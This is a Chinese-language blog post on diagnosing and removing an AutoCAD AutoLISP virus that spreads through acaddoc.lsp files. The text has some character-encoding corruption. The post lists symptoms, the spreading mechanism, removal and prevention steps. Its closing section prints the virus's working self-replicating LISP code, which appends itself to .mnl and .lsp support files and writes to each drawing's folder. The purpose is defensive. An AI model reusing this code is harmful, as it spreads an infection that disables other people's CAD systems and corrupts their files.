導致CAD開(kāi)圖卡頓甚至無(wú)響應的CAD病毒如何清除?
有網(wǎng)友說(shuō)他的CAD出了問(wèn)題,CAD軟件啟動(dòng)時(shí)無(wú)響應或直接停止工作,重裝后第一次啟動(dòng)沒(méi)事,但打開(kāi)一張圖紙后就又有問(wèn)題了。經(jīng)過(guò)跟他交流后發(fā)現圖紙目錄下有一個(gè)acaddoc.lsp文件,一個(gè)純文本的LSP文件,大小居然有200MB!將同名的文件都搜出來(lái)刪除后,卸載軟件重裝后再次啟動(dòng),居然又出來(lái)一個(gè)acaddoc.lsp,這次居然大小變成了900多MB。
今天又碰到網(wǎng)友遇到了類(lèi)似問(wèn)題,重裝后打開(kāi)圖紙就又卡主了,結果發(fā)現也有這么個(gè)LSP文件,文件大小達到了700MB。還來(lái)遇到類(lèi)似情況的網(wǎng)友還不少,之前發(fā)過(guò)關(guān)于這種CAD病毒的文章,今天讀了一下發(fā)現好多錯別字,于是決定重新修改后再發(fā)一遍。
我將網(wǎng)友200MB的病毒文件復制過(guò)來(lái)了,當時(shí)簡(jiǎn)單看了一下代碼,因為不會(huì )編程,也看不太懂,并沒(méi)有找到將病毒徹底清除的方法。后來(lái)在網(wǎng)上查了一些資料,對此病毒有了更深入的了解,將這病毒的特征和解決方法簡(jiǎn)單給大家講一下,可以幫助大家更好地預防和根除此病毒。
病毒簡(jiǎn)介:
該病毒可以被卡巴斯基和360殺毒軟件查出,卡巴斯基查出病毒名為Virus.ALS.pasdoc.a,360殺毒軟件查出病毒名為T(mén)rojan.Script.29327。遺憾的是,卡巴斯基和360查毒軟件均不能將其徹底清除。
中毒癥狀:
機器中毒時(shí),運行CAD時(shí),每打開(kāi)一個(gè)DWG文件,均在DWG文件所在目錄生成一個(gè)acaddoc.lsp的文件。每次開(kāi)圖,此病毒程序會(huì )被自動(dòng)加載并進(jìn)行一次病毒傳播復制過(guò)程,病毒文件增大到一定程度后就會(huì )導致CAD開(kāi)圖速度極慢甚至導致CAD停止工作。
用記事本打開(kāi)圖紙目錄下的acaddoc.lsp文件,或CAD安裝路徑下的SUPPORT目錄下的任意一個(gè)*.lsp文件,如果文件中含有與此文底部所附相同代碼,即可判定為中毒。
但看代碼來(lái)判斷對于大多數人來(lái)說(shuō)不太容易,可以用更簡(jiǎn)單的辦法來(lái)判斷,如果acaddoc.lsp文件大小超過(guò)100KB,估計就是病毒。
傳播機理:
通過(guò)分析病毒的源代碼,初步了解其傳播機理如下:
如果機器已經(jīng)中毒,CAD打開(kāi)新的DWG文件時(shí),病毒程序就會(huì )自動(dòng)加載。病毒會(huì )搜索CAD工作目錄下的acad.mnl文件,感染*.mnl文件,搜索acad的支持文件目錄,感染目錄下的所有*.lsp文件。同時(shí)病毒在當前打開(kāi)的DWG文件所在目錄下生成acaddoc.lsp文件,如果將圖紙發(fā)送到其他機器時(shí)帶上了這個(gè)LSP文件,只要在那臺機器打開(kāi)同目錄的DWG,病毒就會(huì )起作用。如果將圖紙放到服務(wù)器或共享目錄下,而打開(kāi)圖紙的人有寫(xiě)目錄的權限,其他人打開(kāi)這張圖紙也會(huì )感染病毒。
清除步驟:
1、首先退出CAD。
2、全盤(pán)搜索acadapg.*/acadapp.*/acaddoc.*文件,然后徹底刪除上述文件。
注意:在查找前在文件夾選項中設置“顯示所有文件與文件夾”以及取消“隱藏受保護的操作系統文件”。搜索時(shí)選擇“查找所有文件及文件夾”,然后再“高級選項”里勾選“搜索系統文件夾”、“搜索隱藏的文件和文件夾”、“搜索只讀文件夾”。不同操作系統設置方法不同,如果不會(huì )請百度。總之是盡量將所有的同類(lèi)文件都搜出來(lái),全部刪除。
如果搜出的文件無(wú)法刪除,則先清空回收站,再搜索刪除。
在一些專(zhuān)業(yè)軟件,如天正、浩辰、探索者等的目錄下也會(huì )有acaddoc.lsp文件,如果不確認是否被感染,請一并刪除。刪除后如果這些專(zhuān)業(yè)軟件啟動(dòng)不正常,可以重新安裝。
3、查看C盤(pán)根目錄下是否有boot.dat文件,如果有的話(huà),也將它刪除掉。
4、進(jìn)入當前用戶(hù)的application DATA目錄(在WINDOWS資源管理器或開(kāi)始運行里輸入%APPDATA%)可以快速進(jìn)入此目錄,找到AutodeskAutocad xxxx下面對應版本的Support目錄,用記事本打開(kāi)該目錄下的所有*.mnl文件,手動(dòng)刪除與底部相同的代碼(一般都在文件末尾),然后保存。然后將修改后的所有*.mnl文件屬性設置為“只讀”。
5、進(jìn)入CAD安裝目錄下的support目錄,將改目錄下的所有*.LSP用記事本打開(kāi),手動(dòng)刪除病毒代碼。處理完記得將屬性設置為“只讀”。
6、如果本機安裝有多個(gè)版本的CAD,都需按上述步驟檢查一次。
4-6三步處理太麻煩,處理不好還容易導致CAD或LSP無(wú)法運行,所以遇到這種問(wèn)題干脆將CAD徹底卸載,然后將APPDATA和安裝目錄中殘余的文件都刪除,重新安裝CAD。
預防措施:
此病毒是通過(guò)讀取圖紙文件所在目錄下的acaddoc.lsp來(lái)傳播的。在接受其他人發(fā)過(guò)來(lái)的文件夾或壓縮包時(shí),不要直接打開(kāi)圖紙,應首先檢查一下文件夾中是否還有此病毒文件。如果有的話(huà),刪除掉,同時(shí)也要告訴他有可能中毒了,并提醒其他同事或合作伙伴有中毒的危險。這一步是最重要的!從源頭上把病毒堵住,就不會(huì )感染病毒了!
病毒會(huì )感染SUPPORT目錄下的*.lsp文件,如果我們有一些常用的LSP程序,不要直接復制到CAD的SUPPORT目錄,可以新建一個(gè)文件夾,將自己常用的程序放到此目錄下,然后再選項OP對話(huà)框中將此目錄設置為支持文件搜索路徑。
將CAD中相關(guān)目錄的*.mnl和*.lsp設置為只讀,防止病毒將代碼添加到這些文件中。
安裝上360或卡巴斯基等殺毒軟件,接受他人傳來(lái)的文件首先殺毒。
不要從服務(wù)器或其他共享目錄下直接打開(kāi)DWG文件,將DWG文件復制到本地后再打開(kāi),如果必須在共享目錄下工作,如果發(fā)現有類(lèi)似病毒的LSP文件,必須讓有管理權限的人及時(shí)處理,然后再對本機進(jìn)行徹底清查。
如何預防CAD病毒?
病毒代碼:
下面是從網(wǎng)友200MB的LSP文件中摘取的一段代碼,應該是病毒的基礎代碼:
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
(load "acadapq")
(princ)
(load "acadapp")
(princ)
然后這個(gè)文件后面還會(huì )多次重復加載acadapq和acadapp,上面的代碼頁(yè)會(huì )被多次復制,感覺(jué)病毒還會(huì )復制其他LSP文件的代碼。文件一旦復制增大到一定程度,CAD開(kāi)圖的時(shí)候重復運行大量代碼,肯定會(huì )變慢甚至停止工作。
CAD的病毒很好預防,只要自己注意一點(diǎn),自己就不會(huì )中招!
-
Origin(Pro):學(xué)習版的窗口限制【數據繪圖】 2020-08-07
-
如何卸載Aspen Plus并再重新安裝,這篇文章告訴你! 2020-05-29
-
OriginPro:學(xué)習版申請及過(guò)期激活方法【數據繪圖】 2020-08-06
-
CAD視口的邊框線(xiàn)看不到也選不中是怎么回事,怎么解決? 2020-06-04
-
教程 | Origin從DSC計算焓和比熱容 2020-08-31
-
如何評價(jià)擬合效果-Origin(Pro)數據擬合系列教程【數據繪圖】 2020-08-06
-
CAD外部參照無(wú)法綁定怎么辦? 2020-06-03
-
CAD中如何將布局連帶視口中的內容復制到另一張圖中? 2020-07-03